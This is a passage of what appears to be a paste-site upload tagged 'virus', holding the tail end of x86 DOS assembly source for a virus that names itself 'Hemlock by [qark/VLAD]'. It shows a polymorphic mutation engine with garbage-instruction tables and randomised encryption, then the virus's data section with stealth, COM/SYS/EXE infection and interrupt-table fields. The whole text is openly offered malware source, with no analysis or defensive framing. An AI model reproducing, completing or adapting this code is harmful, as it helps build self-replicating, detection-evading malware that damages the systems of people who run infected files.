  2104.         mov     al,ah
  2105.         neg     al
  2106.         stosb
  2107.         jmp     redo_second
  2108.  
  2109.  
  2110. one_byte1:
  2111.         test    dl,2
  2112.         jnz     or_cx_cx
  2113.         or      dl,2
  2114.         mov     si,offset database3     ;One byte crap
  2115.         in      al,40h
  2116.         and     ax,7
  2117.         add     si,ax
  2118.         movsb
  2119.         jmp     redo_second
  2120. do_ret:
  2121.  
  2122.         mov     si,offset database3
  2123.         in      al,40h
  2124.         and     ax,7            ;0-7
  2125.         add     si,ax           ;Index into table
  2126.         lodsb
  2127.         mov     ah,0c3h         ;RET
  2128.         mov     dx,ax
  2129.         in      al,40h
  2130.         and     ax,7
  2131.         mov     cx,ax
  2132. swap_pos:
  2133.         xchg    dh,dl
  2134.         loop    swap_pos
  2135.         mov     ax,dx
  2136.         stosw                   ;Store the one byte crap/ret combination
  2137.         pop     es
  2138.         pop     ds
  2139.         pop     di
  2140.         pop     si
  2141.         pop     dx
  2142.         pop     cx
  2143.         pop     bx
  2144.         pop     ax
  2145.         ret
  2146.  
  2147. random_table    dw      offset set_xor
  2148.                 dw      offset garbage1
  2149.                 dw      offset garbage2
  2150.                 dw      offset inc_si
  2151.                 dw      offset dec_cx
  2152.        
  2153. database1:                              ;Utter crap
  2154.                 xchg    bx,dx
  2155.                 mov     bl,9
  2156.                 xor     dx,dx
  2157.                 sub     bx,bx
  2158. database2:                              ;AL garblers
  2159.                 ror     al,1
  2160.                 add     al,07ah
  2161.                 sub     al,0e0h
  2162.                 dec     al
  2163.                 sub     al,0b2h
  2164.                 dec     al
  2165.                 add     al,81h
  2166.                 ror     al,1
  2167.  
  2168. database3:                      ;One byte crap
  2169.                 cld
  2170.                 dec     dx
  2171.                 inc     bx
  2172.                 scasb
  2173.                 inc     di
  2174.                 dec     di
  2175.                 inc     dx
  2176.                 dec     bx
  2177. database4:
  2178.                 db      0bh     ;OR xx,xx
  2179.                 db      23h     ;AND xx,xx
  2180. database5:
  2181.                 db      79h     ;JNS
  2182.                 db      7dh     ;JGE
  2183.  
  2184. cipher_val      db      0
  2185. jmp_calc        dw      0
  2186.  
  2187. Poly    EndP
  2188. ;....................................
  2189. ;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  2190.  
  2191. VirusName       db      'Hemlock by [qark/VLAD]',0
  2192.  
  2193. delta           dw      0               ;delta offset
  2194. qemm            db      0               ;0=no qemm
  2195. dosdata         db      'OSDATA'        ;DOSDATA.SYS
  2196. flag21          db      0
  2197. mz_counter      db      1
  2198. stealth         db      1               ;0=no stealth
  2199. filetype        db      'C'             ;C=COM S=SYS E=EXE
  2200. virus_jump      db      0e9h,0,0
  2201. enc_end:
  2202.                 db      0               ;The polymorphics will encrypt this
  2203.                                         ;byte sometimes.
  2204. header          db      0cdh,20h,16h dup (0)
  2205.  
  2206. end_virus:                      ;<-- Our virus length
  2207.  
  2208.                 db      offset end_virus dup (0)
  2209.                 db      100 dup (0)
  2210. Mem_Size:
  2211. IVT             db      1024    dup (0)
  2212.         mode    db      0
  2213.  
Tags: virus
Add Comment
Please, Sign In to add comment